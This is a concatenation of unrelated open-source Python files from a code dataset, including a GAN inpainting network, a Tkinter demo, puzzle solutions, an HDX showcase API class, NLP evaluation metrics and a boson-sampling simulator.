nn.ReflectionPad2d(padding)\n elif pad_type == 'zero':\n self.pad = nn.ZeroPad2d(padding) \n elif pad_type == 'replicate': \n self.pad = nn.ReplicationPad2d(padding)\n else:\n assert 0, \"Unsupported padding type: {}\".format(pad_type) \n\n # initialize normalization\n if norm == 'batch':\n self.norm = nn.BatchNorm2d(output_nc) \n elif norm == 'instance':\n self.norm = nn.InstanceNorm2d(output_nc) \n elif norm is None or norm == 'spectral': \n self.norm = None \n else: \n assert 0, \"Unsupported normalization: {}\".format(norm) \n\n # initialize activation\n if acti == 'relu':\n self.acti = nn.ReLU(inplace=True) \n elif acti == 'lrelu':\n self.acti = nn.LeakyReLU(0.2, inplace=True) \n elif acti == 'prelu':\n self.acti = nn.PReLU() \n elif acti == 'elu':\n self.acti = nn.ELU() \n elif acti == 'tanh':\n self.acti = nn.Tanh() \n elif acti == 'sigmoid':\n self.acti = nn.Sigmoid() \n elif acti is None:\n self.acti = None \n else: \n assert 0, \"Unsupported activation: {}\".format(acti) \n\n # initialize convolution \n if norm == 'spectral': \n self.conv = SpectralNorm(nn.Conv2d(input_nc, output_nc, kernel_size, stride, dilation=dilation, groups=groups, bias=self.use_bias))\n else:\n self.conv = nn.Conv2d(input_nc, output_nc, kernel_size, stride, dilation=dilation, groups=groups, bias=self.use_bias) \n\n def forward(self, x):\n x = self.conv(self.pad(x)) \n if self.norm:\n x = self.norm(x)\n if self.acti:\n x = self.acti(x)\n return x \n\ndef l2normalize(v, eps=1e-12):\n return v / (v.norm() + eps) \n\n### SpectralNorm \nclass SpectralNorm(nn.Module):\n \"\"\"\n Spectral Normalization for Generative Adversarial Networks\n Pytorch implementation https://github.com/christiancosgrove/pytorch-spectral-normalization-gan \n \"\"\"\n def __init__(self, module, name='weight', power_iterations=1):\n super(SpectralNorm, self).__init__() \n self.module = module \n self.name = name \n self.power_iterations = power_iterations \n if not self._made_params():\n self._make_params() \n \n def _update_u_v(self):\n u = getattr(self.module, self.name + \"_u\") \n v = getattr(self.module, self.name + \"_v\") \n w = getattr(self.module, self.name + \"_bar\") \n\n height = w.data.shape[0] \n for _ in range(self.power_iterations): \n v.data = l2normalize(torch.mv(torch.t(w.view(height,-1).data), u.data)) \n u.data = l2normalize(torch.mv(w.view(height,-1).data, v.data)) \n\n sigma = u.dot(w.view(height, -1).mv(v)) \n setattr(self.module, self.name, w / sigma.expand_as(w)) \n\n def _made_params(self):\n try: \n u = getattr(self.module, self.name + \"_u\") \n v = getattr(self.module, self.name + \"_v\") \n w = getattr(self.module, self.name + \"_bar\") \n return True \n except AttributeError:\n return False \n\n def _make_params(self): \n w = getattr(self.module, self.name) \n\n height = w.data.shape[0] \n width = w.view(height, -1).data.shape[1] \n\n u = nn.Parameter(w.data.new(height).normal_(0, 1), requires_grad=False) \n v = nn.Parameter(w.data.new(width).normal_(0, 1), requires_grad=False) \n u.data = l2normalize(u.data) \n v.data = l2normalize(v.data) \n w_bar = nn.Parameter(w.data) \n\n del self.module._parameters[self.name] \n\n self.module.register_parameter(self.name + \"_u\", u) \n self.module.register_parameter(self.name + \"_v\", v) \n self.module.register_parameter(self.name + \"_bar\", w_bar) \n\n def forward(self, *args):\n self._update_u_v() \n return self.module.forward(*args) \n\n","sub_path":"2020ECCV-DeepGIN Deep Generative Inpainting Network for Extreme Image Inpainting/Task1-Pytorch/models/networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":35618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"198282213","text":"import sys\nimport os.path\nimport system\nimport dirutils\nimport tempfile\nfrom itertools import takewhile\n\ntemp_path = os.path.abspath(sys.argv[1])\ndirectory = os.path.abspath(sys.argv[2])\ncsv = os.path.abspath(sys.argv[3])\nexe = sys.argv[4]\nif (len(sys.argv) > 5):\n opts = sys.argv[5]\nelse:\n opts = \"\"\n\nprint(\"======Running cpplint=======\")\nprint(\"Working dir:\", directory)\nprint(\"CSV file:\", csv)\nprint(\"Excutable:\", exe)\nprint(\"Executable options:\", opts)\n\nc_files = dirutils.list_files(directory, '.c') + dirutils.list_files(directory, '.cpp')\n(output, err, exit, time) = system.system_call(exe + \" \" + \" \".join(c_files) + \" \" + opts, directory)\n\ntemp_file = open(temp_path, 'w')\ntemp_file.write(output.decode(\"utf-8\"))\ntemp_file.close()\n\nsys.stdout = open(csv, \"w\")\nprint(\"File, Line, Error\")\nwith open(temp_path) as f:\n for line in f.readlines():\n a = line.strip().split(\":\")\n if (len(a) >= 4) and (a[0] == 'uno'):\n if len(a[2]) > 10: # hack to work around bug in printint wrong array indexing\n print(os.path.basename(a[1]), \",\", ''.join(takewhile(str.isdigit, a[2].strip())), \",\", a[2])\n else:\n print(os.path.basename(a[1]), \",\", a[2], \",\", a[3])\n\nsys.stdout = sys.__stdout__ \nprint(\"======Done with uno=======\")\n","sub_path":"python/uno.py","file_name":"uno.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"139314908","text":"from tkinter import *\nfrom tkinter import messagebox\n\nmyGui = Tk()\n\ndef hello():\n b = a.get()\n myLabel3 = Label(text = b, fg = 'red', bg = 'yellow', font = 10)\n myLabel3.pack()\n\ndef dele():\n myLabel1 = Label(text = 'deleted', fg = 'red', bg = 'yellow', font = 10)\n myLabel1.pack()\n\ndef newfi():\n myLabel1 = Label(text = 'clicked on new file', fg = 'red', bg = 'yellow', font = ('roman', 24, 'italic'))\n myLabel1.pack()\n\ndef mbox():\n messagebox.showinfo(title='Save', message = 'are you sure to save?')\n\ndef mquit():\n mess = messagebox.askyesno(title = 'Quit', message = 'Are you sure to quit?')\n if mess == 1:\n myGui.destroy()\n\n\na = StringVar()\nmyGui.title('Hello')\nmyGui.geometry('500x500+100+100')\n\nmyLabel1 = Label(text = 'label one', fg = 'red', bg = 'yellow', font = ('arial', 24, 'italic')).pack()\nmyButton1 = Button(text = 'Enter', fg = '#2f363d', bg = '#9EC129', command = hello, font = ('times', 24, 'bold')).pack()\nmyButton2 = Button(text = 'Delete', fg = '#0D0000', bg = '#8B0000', command = dele, font = 20).pack()\ntext = Entry(textvariable = a).pack()\n\nmymenu = Menu()\nlistone = Menu()\nlisttwo = Menu()\n\nlistone.add_command(label = 'New File', command = newfi)\nlistone.add_command(label = 'Open File')\nlistone.add_command(label = 'Save File', command = mbox)\nlistone.add_command(label = 'Quit', command = mquit)\n\nlisttwo.add_command(label = 'undo')\nlisttwo.add_command(label = 'redo')\n\nmymenu.add_cascade(label = 'File', menu = listone)\nmymenu.add_cascade(label = 'Edit', menu = listtwo)\nmymenu.add_cascade(label = 'Format')\nmymenu.add_cascade(label = 'Run')\n\nmyGui.config(menu = mymenu)\n\n\n\nmyGui.mainloop()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"240584322","text":"# rename joints of adun\n#\n# shoulder2 -> shoulder_r\n# elbow -> elbow_r\n# radioulnar -> radioulnar_r\n# shoulder2_l -> shoulder_l\n\nimport cPickle\n\nimport sys\nif '../../../PyCommon/modules' not in sys.path:\n sys.path.append('../../../PyCommon/modules')\nimport Resource.ysMotionLoader as yml\nimport Resource.dcVRMLLoader as dvl\nimport numpy.core.multiarray\n\ndef buildJointMap():\n jointMap = {}\n jointMap[\"shoulder2\"] = \"shoulder_r\"\n jointMap[\"elbow\"] = \"elbow_r\"\n jointMap[\"radioulnar\"] = \"radioulnar_r\"\n jointMap[\"shoulder2_l\"] = \"shoulder_l\"\n return jointMap\n\ndef renameBvhJoint(bvh):\n jointMap = buildJointMap()\n for joint in bvh.joints:\n for k in jointMap.keys():\n if joint.name == k:\n joint.name = jointMap[k]\n \n return bvh\n\ndef renameWrlJoint(wrl):\n jointMap = buildJointMap()\n for joint in wrl.joints:\n for k in jointMap.keys():\n if joint.name == k:\n joint.name = jointMap[k]\n\n return wrl\n\ndef renameMuscleJoint(msclDict):\n # rename joint names of path points of muscles\n jointMap = buildJointMap()\n \n for mscl in msclDict.values():\n pathPointSet = mscl[\"GeometryPath\"][\"PathPointSet\"]\n for pathPoint in pathPointSet.values():\n for k in jointMap.keys():\n if pathPoint[\"joint\"] == k:\n pathPoint[\"joint\"] = jointMap[k]\n\n return msclDict\n\nif __name__=='__main__':\n\n bvhFilePath = './ad.bvh'\n msclFilePath = './mscl'\n\n bvh = yml.readBvhFileAsBvh(bvhFilePath)\n bvh = renameBvhJoint(bvh)\n bvh.writeBvhFile(bvhFilePath)\n \n msclFile = open(msclFilePath, 'rb')\n msclDict = cPickle.load(msclFile)\n msclFile.close()\n msclDict = renameMuscleJoint(msclDict)\n msclFile = open(msclFilePath, 'wb')\n cPickle.dump(msclDict, msclFile)\n msclFile.close()\n","sub_path":"Tracking/Model/ad/renameJoint.py","file_name":"renameJoint.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"543254070","text":"import sys\n\nDAYS=int(sys.argv[2])\nSTART_VALUE = 6\n\ndata = [0] * 9\nfor i in open(sys.argv[1], 'r').read().split(','):\n data[int(i)] += 1\n\nfor _ in range(1, DAYS):\n spawn_count=data[0]\n data=data[1:]\n data[START_VALUE] += spawn_count\n data.append(spawn_count)\nprint(sum(data))\n","sub_path":"2021/06/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"373531967","text":"'''\np\np y\np y t\np y t h\np y t h o\np y t h o n\n'''\nstring = input(\"Enter a string ....\")\n\nlength = len(string)\n\nfor row in range(length):\n for col in range(row+1):\n print(string[col],end=' ')\n print()\n","sub_path":"numaric and star/parttern_8.py","file_name":"parttern_8.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"301368914","text":"# -*- coding: utf-8 -*-\n\"\"\"Showcase class containing all logic for creating, checking, and updating showcases.\"\"\"\nimport logging\nfrom os.path import join\nfrom typing import List, Union, Optional, Dict\n\nimport hdx.data.dataset\nimport hdx.data.hdxobject\nfrom hdx.hdx_configuration import Configuration\nfrom hdx.utilities import is_valid_uuid\n\nlogger = logging.getLogger(__name__)\n\n\nclass Showcase(hdx.data.hdxobject.HDXObject):\n \"\"\"Showcase class containing all logic for creating, checking, and updating showcases.\n\n Args:\n initial_data (Optional[Dict]): Initial showcase metadata dictionary. Defaults to None.\n configuration (Optional[Configuration]): HDX configuration. Defaults to global configuration.\n \"\"\"\n dataset_ids_field = 'dataset_ids'\n\n def __init__(self, initial_data=None, configuration=None):\n # type: (Optional[Dict], Optional[Configuration]) -> None\n if not initial_data:\n initial_data = dict()\n super(Showcase, self).__init__(initial_data, configuration=configuration)\n\n @staticmethod\n def actions():\n # type: () -> Dict[str, str]\n \"\"\"Dictionary of actions that can be performed on object\n\n Returns:\n Dict[str, str]: Dictionary of actions that can be performed on object\n \"\"\"\n return {\n 'show': 'ckanext_showcase_show',\n 'update': 'ckanext_showcase_update',\n 'create': 'ckanext_showcase_create',\n 'delete': 'ckanext_showcase_delete',\n 'list': 'ckanext_showcase_list',\n 'associate': 'ckanext_showcase_package_association_create',\n 'disassociate': 'ckanext_showcase_package_association_delete',\n 'list_datasets': 'ckanext_showcase_package_list',\n 'list_showcases': 'ckanext_package_showcase_list'\n }\n\n def update_from_yaml(self, path=join('config', 'hdx_showcase_static.yml')):\n # type: (str) -> None\n \"\"\"Update showcase metadata with static metadata from YAML file\n\n Args:\n path (Optional[str]): Path to YAML dataset metadata. Defaults to config/hdx_showcase_static.yml.\n\n Returns:\n None\n \"\"\"\n super(Showcase, self).update_from_yaml(path)\n\n def update_from_json(self, path=join('config', 'hdx_showcase_static.json')):\n # type: (str) -> None\n \"\"\"Update showcase metadata with static metadata from JSON file\n\n Args:\n path (Optional[str]): Path to JSON dataset metadata. Defaults to config/hdx_showcase_static.json.\n\n Returns:\n None\n \"\"\"\n super(Showcase, self).update_from_json(path)\n\n @staticmethod\n def read_from_hdx(identifier, configuration=None):\n # type: (str, Optional[Configuration]) -> Optional['Showcase']\n \"\"\"Reads the showcase given by identifier from HDX and returns Showcase object\n\n Args:\n identifier (str): Identifier of showcase\n configuration (Optional[Configuration]): HDX configuration. Defaults to global configuration.\n\n Returns:\n Optional[Showcase]: Showcase object if successful read, None if not\n \"\"\"\n\n showcase = Showcase(configuration=configuration)\n result = showcase._load_from_hdx('showcase', identifier)\n if result:\n return showcase\n return None\n\n def check_required_fields(self, ignore_fields=list()):\n # type: (List[str]) -> None\n \"\"\"Check that metadata for showcase is complete. The parameter ignore_fields should\n be set if required to any fields that should be ignored for the particular operation.\n\n Args:\n ignore_fields (List[str]): Fields to ignore. Default is [].\n\n Returns:\n None\n \"\"\"\n self._check_required_fields('showcase', ignore_fields)\n\n def update_in_hdx(self):\n # type: () -> None\n \"\"\"Check if showcase exists in HDX and if so, update it\n\n Returns:\n None\n \"\"\"\n self._update_in_hdx('showcase', 'name')\n\n def create_in_hdx(self):\n # type: () -> None\n \"\"\"Check if showcase exists in HDX and if so, update it, otherwise create it\n\n Returns:\n None\n \"\"\"\n self._create_in_hdx('showcase', 'name', 'title')\n\n def delete_from_hdx(self):\n # type: () -> None\n \"\"\"Deletes a showcase from HDX.\n\n Returns:\n None\n \"\"\"\n self._delete_from_hdx('showcase', 'id')\n\n def get_tags(self):\n # type: () -> List[str]\n \"\"\"Return the dataset's list of tags\n\n Returns:\n List[str]: List of tags or [] if there are none\n \"\"\"\n return self._get_tags()\n\n def add_tag(self, tag):\n # type: (str) -> bool\n \"\"\"Add a tag\n\n Args:\n tag (str): Tag to add\n\n Returns:\n bool: True if tag added or False if tag already present\n \"\"\"\n return self._add_tag(tag)\n\n def add_tags(self, tags):\n # type: (List[str]) -> bool\n \"\"\"Add a list of tag\n\n Args:\n tags (List[str]): List of tags to add\n\n Returns:\n bool: Returns True if all tags added or False if any already present.\n \"\"\"\n return self._add_tags(tags)\n\n def remove_tag(self, tag):\n # type: (str) -> bool\n \"\"\"Remove a tag\n\n Args:\n tag (str): Tag to remove\n\n Returns:\n bool: True if tag removed or False if not\n \"\"\"\n return self._remove_hdxobject(self.data.get('tags'), tag, matchon='name')\n\n def get_datasets(self):\n # type: () -> List[hdx.data.dataset.Dataset]\n \"\"\"Get any datasets in the showcase\n\n Returns:\n List[Dataset]: List of datasets\n \"\"\"\n assoc_result, datasets_dicts = self._read_from_hdx('showcase', self.data['id'], fieldname='showcase_id',\n action=self.actions()['list_datasets'])\n datasets = list()\n if assoc_result:\n for dataset_dict in datasets_dicts:\n dataset = hdx.data.dataset.Dataset(dataset_dict, configuration=self.configuration)\n datasets.append(dataset)\n return datasets\n\n def _get_showcase_dataset_dict(self, dataset):\n # type: (Union[hdx.data.dataset.Dataset,Dict,str]) -> Dict\n \"\"\"Get showcase dataset dict\n\n Args:\n showcase (Union[Showcase,Dict,str]): Either a showcase id or Showcase metadata from a Showcase object or dictionary\n\n Returns:\n Dict: showcase dataset dict\n \"\"\"\n if isinstance(dataset, hdx.data.dataset.Dataset) or isinstance(dataset, dict):\n if 'id' not in dataset:\n dataset = hdx.data.dataset.Dataset.read_from_hdx(dataset['name'])\n dataset = dataset['id']\n elif not isinstance(dataset, str):\n raise hdx.data.hdxobject.HDXError('Type %s cannot be added as a dataset!' % type(dataset).__name__)\n if is_valid_uuid(dataset) is False:\n raise hdx.data.hdxobject.HDXError('Dataset %s does not look like a dataset id!' % dataset)\n return {'showcase_id': self.data['id'], 'package_id': dataset}\n\n def add_dataset(self, dataset, datasets_to_check=None):\n # type: (Union[hdx.data.dataset.Dataset,Dict,str], List[hdx.data.dataset.Dataset]) -> bool\n \"\"\"Add a dataset\n\n Args:\n dataset (Union[Dataset,Dict,str]): Either a dataset id or dataset metadata either from a Dataset object or a dictionary\n datasets_to_check (List[Dataset]): List of datasets against which to check existence of dataset. Defaults to datasets in showcase.\n\n Returns:\n bool: True if the dataset was added, False if already present\n \"\"\"\n showcase_dataset = self._get_showcase_dataset_dict(dataset)\n if datasets_to_check is None:\n datasets_to_check = self.get_datasets()\n for dataset in datasets_to_check:\n if showcase_dataset['package_id'] == dataset['id']:\n return False\n self._write_to_hdx('associate', showcase_dataset, 'package_id')\n return True\n\n def add_datasets(self, datasets, datasets_to_check=None):\n # type: (List[Union[hdx.data.dataset.Dataset,Dict,str]], List[hdx.data.dataset.Dataset]) -> bool\n \"\"\"Add multiple datasets\n\n Args:\n datasets (List[Union[Dataset,Dict,str]]): A list of either dataset ids or dataset metadata from Dataset objects or dictionaries\n datasets_to_check (List[Dataset]): List of datasets against which to check existence of dataset. Defaults to datasets in showcase.\n\n Returns:\n bool: Returns True if all datasets added or False if any already present\n \"\"\"\n if datasets_to_check is None:\n datasets_to_check = self.get_datasets()\n alldatasetsadded = True\n for dataset in datasets:\n if not self.add_dataset(dataset, datasets_to_check=datasets_to_check):\n alldatasetsadded = False\n return alldatasetsadded\n\n def remove_dataset(self, dataset):\n # type: (Union[Dataset,Dict,str]) -> None\n \"\"\"Remove a dataset\n\n Args:\n dataset (Union[Dataset,Dict,str]): Either a dataset id or dataset metadata either from a Dataset object or a dictionary\n\n Returns:\n None\n \"\"\"\n self._write_to_hdx('disassociate', self._get_showcase_dataset_dict(dataset), 'package_id')\n","sub_path":"src/hdx/data/showcase.py","file_name":"showcase.py","file_ext":"py","file_size_in_byte":9546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"92226467","text":"# Learn Python the hard way\n# ex17.py lpthw\n\nfrom sys import argv\nfrom os.path import exists\n\n#script name test.txt test2.txt the arguments that I gave\nscript, from_file, to_file = argv\n\n#name of the file1(test.txt) and name of the file2(test2.txt)\nprint (\"Copying from %s to %s\" % (from_file, to_file))\n\n# we could do these two on one line too, how?\n#we use in file to open the from_file(the file we want to copy)\n#in_file = open(from_file)\n#indata = in_file.read()\nindata = open(from_file).read()\n\n\n#prints the file size\nprint (\"The input file is %d bytes long\" % len(indata))\n\n#True if the file alread exists False if it doesn't\nprint (\"Does the output file exist? %r\" % exists(to_file))\nprint (\"Ready, hit RETURN to continue, CTRL-C to abort.\")\nraw_input()\n\n#we use out_file to open the to_file(the file we want to copy)\nout_file = open(to_file, 'w')\nout_file.write(indata)\n\nprint (\"Alright, all done.\")\n\nout_file.close()\n#in_file.close()\n","sub_path":"ex17.py","file_name":"ex17.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"518362154","text":"n = int(input())\r\n\r\narr = [ list(map(int,input())) for _ in range(n)]\r\n\r\ndef dfs(x,y,n):\r\n\r\n if n == 1:\r\n print(arr[x][y],end='')\r\n return\r\n \r\n if n>=2:\r\n s = 0\r\n #가지치기 \r\n for i in range(x, x+n):\r\n for j in range(y, y+n):\r\n s+=arr[i][j]\r\n if s == 0:\r\n print('0',end='')\r\n elif s == 1*(n**2):\r\n print('1',end='')\r\n else:\r\n print('(',end='')\r\n n = n // 2\r\n dfs(x,y,n)\r\n dfs(x,y+n,n)\r\n dfs(x+n,y,n)\r\n dfs(x+n,y+n,n)\r\n print(')',end='')\r\n\r\ndfs(0,0,n)","sub_path":"백준/Silver/1992. 쿼드트리/쿼드트리.py","file_name":"쿼드트리.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"282670525","text":"# 1252 - SORT USING MOD (C/C++ LIKE) AND KEY FUNCTION WITH TERNARY AND BITWISE OPERATORS\r\ndef main():\r\n from sys import stdin\r\n\r\n keynum = lambda num: (abs(num) % M * (1 if num >= 0 else -1),\r\n -1 * (num & 1), num * (-1 if num & 1 else 1))\r\n\r\n while True:\r\n entry = input()\r\n print(entry)\r\n if entry == '0 0':\r\n break\r\n\r\n N, M = [int(x) for x in entry.split()]\r\n nums = [int(stdin.readline()) for _ in range(N)]\r\n nums.sort(key=keynum)\r\n print('\\n'.join(map(str, nums)))\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"problems/python/1252.py","file_name":"1252.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"411895633","text":"import pandas as pd\n\n#MERGE THE COLUMNS FROM THE TWO DATASETS WITH EARLIEST AND 6 MO TAGS\npd.set_option('display.max_rows', 100)\n\ndf1 = pd.read_csv(\"step4_result_earliest_tags.csv\")\ndf2 = pd.read_csv(\"step3_tags_after_6_mo.csv\")\n\n# CHANGE THE NAMES OF THE COLUMNS IN THE 6 MONTH DF STARTING AFTER WITH 14\n\n\nfor colnum in range(13,len(df2.columns)): #because 0 indexed to start at 14th column use 13\n \n orig_col_name = df2.columns[colnum]\n new_col_name = f\"t6_{orig_col_name}\"\n df2.rename(columns = {orig_col_name : new_col_name}, inplace = True)\n\nprint(len(df1.columns))\nprint(len(df2.columns))\n\nmgd_df = pd.merge(df1, df2, on=\"app_id\")\n\nprint(len(mgd_df.columns))\n\nmgd_df.drop(mgd_df.filter(regex='_y').columns, axis=1, inplace=True)\n# mgd_df = mgd_df.loc[:,~mgd_df.columns.str.endswith('_y')]\n\nprint(len(mgd_df.columns))\n\n## SOME TAGS ARE MISSPELT OR DONT EXIST ANYMORE SO REMOVE THEM ### YOU DON\"T NEED TO DO THIS ANYMORE B/C YOU DID IT IN STEP 2\n#mgd_df = mgd_df.drop('tag_999999', 1)\n#mgd_df = mgd_df.drop('t6_tag_999999', 1)\n#mgd_df = mgd_df.drop('tag_5144', 1)\n#mgd_df = mgd_df.drop('t6_tag_5144', 1)\n#mgd_df = mgd_df.drop('tag_1694', 1)\n#mgd_df = mgd_df.drop('t6_tag_1694', 1)\n#mgd_df = mgd_df.drop('tag_134316', 1)\n#mgd_df = mgd_df.drop('t6_tag_134316', 1)\n\n# mgd_df.drop(mgd_df.filter(regex='999999').columns, axis=1, inplace=True)\n# mgd_df.drop(mgd_df.filter(regex='5144').columns, axis=1, inplace=True)\n# mgd_df.drop(mgd_df.filter(regex='1694').columns, axis=1, inplace=True)\n# mgd_df.drop(mgd_df.filter(regex='134316').columns, axis=1, inplace=True)\n\nmgd_df.to_csv(\"step5_result.csv\", index=False)","sub_path":"step5_merge_t1_t2_tags.py","file_name":"step5_merge_t1_t2_tags.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"586419771","text":"import os\nimport sys\nimport StringIO\nimport smtplib\n\nold_stdout = sys.stdout # Memorize the default stdout stream\nbuffer = StringIO.StringIO()\n\ndef email_recipient(message):\n if not message:\n message = \"This message was empty\"\n \n # creates SMTP session \n s = smtplib.SMTP('smtp.gmail.com', 587) \n \n # start TLS for security \n s.starttls() \n \n # Authentication \n s.login(\"****\", \"****\") \n \n # sending the mail \n s.sendmail(\"experiment_results@lupalab.com\", \"sakbar@ncsu.edu\", message) \n \n # terminating the session \n s.quit() \n\ndef add_buffer_to_io():\n sys.stdout = buffer\n\ndef remove_buffer_from_io():\n sys.stdout = old_stdout\n buffer.close()\n\ndef update_user_by_email():\n experiment_data = buffer.getvalue() # Return a str containing the entire contents of the buffer.\n print(experiment_data) # Why not print it?\n email_recipient(experiment_data)\n\ndef run_experiment(exper):\n add_buffer_to_io()\n try:\n exper()\n except Exception as e:\n print(e)\n update_user_by_email()\n remove_buffer_from_io()","sub_path":"tan/update_user.py","file_name":"update_user.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"341683550","text":"import numpy as np\nimport matplotlib.pyplot as plt \n\nS = 1\nI1 = 5\nc = 3e8\nv0 = 3.0/656 * 10**17\nvd = np.sqrt(2 * 1.38 * 10**-23 * 10000/(1.7 * 10**-27) ) * v0 / c \nv = np.linspace(-5 * vd + v0, v0 + 5 * vd, num = 200)\nDp = 1/(np.sqrt(3.14)*vd) * np.exp(-((v - v0)/vd)**2)\nx = (v -v0) * 10**-14\n\nT = 10**10 * Dp\nu= np.arange(0, 1.2, 0.2)\nI = np.linspace(0, 0, 6)\n\ndef limb(u):\n I = S + np.exp(-T/u)*(I1-S)\n return I\n\n#for i in range(len(u)):\n # if i == 0:\n # I[0] = S\n # else:\n # y = limb(u[i])\n # I[i] = min(y)\n\n#print (u)\n#print (I)\n\n#plt.plot(u,I, '-g', label = \"Jedan mnogo kul grafik\")\n\nplt.plot(x, limb(1), '-b' )\nplt.plot(x, limb(0.5) , '-g')\nplt.show()\n","sub_path":"2015/AST1/vezbovni/Bozidar/limb.py","file_name":"limb.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"481416668","text":"\nimport os\nimport scipy\nimport pandas as pd\nfrom sentence_transformers import SentenceTransformer\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\nfrom sklearn.metrics import classification_report\nfrom rouge import Rouge\nfrom statistics import mean\nimport nltk\nnltk.download('punkt')\nfrom nltk.translate.bleu_score import sentence_bleu, corpus_bleu\nfrom tqdm.notebook import tqdm\n\ncosine_model = SentenceTransformer('bert-base-nli-mean-tokens')\nrouge = Rouge()\n\n\n## Cosine Similarity\ndef cosine_similarity(actual_headlines, predicted_headlines):\n similarity = 0\n for i, (actual_headline, predicted_headline) in enumerate(zip(actual_headlines, predicted_headlines)):\n actual_headline_embeddings = cosine_model.encode(actual_headline)\n predicted_headline_embeddings = cosine_model.encode(predicted_headline)\n similarity += 1 - scipy.spatial.distance.cdist([actual_headline_embeddings], [predicted_headline_embeddings], \"cosine\")[0]\n return similarity/(i+1)\n\n## Rouge-l Score\ndef rouge_score(actual_headlines, predicted_headlines):\n score = {'f':0, 'p':0, 'r':0}\n for i, (actual_headline, predicted_headline) in enumerate(zip(actual_headlines, predicted_headlines)):\n rouge_score = rouge.get_scores(actual_headline, predicted_headline)\n rouge_scores = rouge_score[0]['rouge-l']\n for key in list('fpr'):\n score[key]+=rouge_scores[key]\n for key in list('fpr'):\n score[key]/=(i+1)\n return score\n\n## BLEU Score\ndef bleu_score(actual_headlines, predicted_headlines):\n bleu_score = 0\n for i, (actual_headline, predicted_headline) in enumerate(zip(actual_headlines, predicted_headlines)):\n hypothesis = predicted_headline.split()\n reference = actual_headline.split() \n references = [reference] # list of references for 1 sentence.\n list_of_references = [references] # list of references for all sentences in corpus.\n list_of_hypotheses = [hypothesis] # list of hypotheses that corresponds to list of references.\n bleu_score += corpus_bleu(list_of_references, list_of_hypotheses)\n return bleu_score/(i+1)","sub_path":"src/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"214725881","text":"__author__ = 'Tomasz Rybotycki'\n\nfrom typing import List\n\nfrom numpy import arange, ndarray\nfrom numpy.random import choice\nfrom scipy import special\n\nfrom src.BosonSamplingSimulator import BosonSamplingSimulator\nfrom src.simulation_strategies.FixedLossSimulationStrategy import FixedLossSimulationStrategy\nfrom src.simulation_strategies.SimulationStrategy import SimulationStrategy\n\n\nclass UniformLossSimulationStrategy(SimulationStrategy):\n def __init__(self, interferometer_matrix: ndarray, number_of_modes: int, probability_of_uniform_loss: float) \\\n -> None:\n self.interferometer_matrix = interferometer_matrix\n self.number_of_modes = number_of_modes\n self.probability_of_uniform_loss = probability_of_uniform_loss\n\n def simulate(self, input_state: ndarray) -> List[float]:\n initial_number_of_particles = int(sum(input_state))\n separable_states_weights = []\n\n # Using n, eta, l notation from the paper.\n n = initial_number_of_particles\n eta = self.probability_of_uniform_loss\n\n for number_of_particles_left in range(n + 1):\n l = number_of_particles_left\n separable_states_weights.append(pow(eta, l) * special.binom(n, l) * pow(1.0 - eta, n - l))\n\n number_of_particles_left_in_selected_separable_state = choice(arange(0, n + 1), p=separable_states_weights)\n\n strategy = FixedLossSimulationStrategy(self.interferometer_matrix,\n number_of_particles_left_in_selected_separable_state,\n self.number_of_modes)\n\n simulator = BosonSamplingSimulator(number_of_particles_left_in_selected_separable_state, n,\n self.number_of_modes, strategy)\n\n return simulator.get_classical_simulation_results()\n","sub_path":"src/simulation_strategies/UniformLossSimulationStrategy.py","file_name":"UniformLossSimulationStrategy.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"622220510","text":"import time\nimport threading\n\n\ndef calc_square(number):\n print(\"calculate square of numbers\")\n for n in number:\n time.sleep(0.2)\n print('Square: ', n * n)\n\n\ndef calc_cube(number):\n print(\"calculate cube of numbers\")\n for n in number:\n time.sleep(0.2)\n print('Cube: ', n * n * n)\n\n\narr = [2, 3, 8, 9]\nt = time.time()\nthread1 = threading.Thread(target=calc_square, args=(arr,))\nthread2 = threading.Thread(target=calc_cube, args=(arr,))\n\nthread1.start()\nthread2.start()\nthread1.join()\nthread2.join()\n\nprint(\"done in : \", time.time() - t)\nprint(\"Ha... I am done with all my work now!\")\n","sub_path":"Multithreading.py","file_name":"Multithreading.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"23211795","text":"class LRUNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n self.prev = None\n\n\nclass LRUCache(object):\n\n def 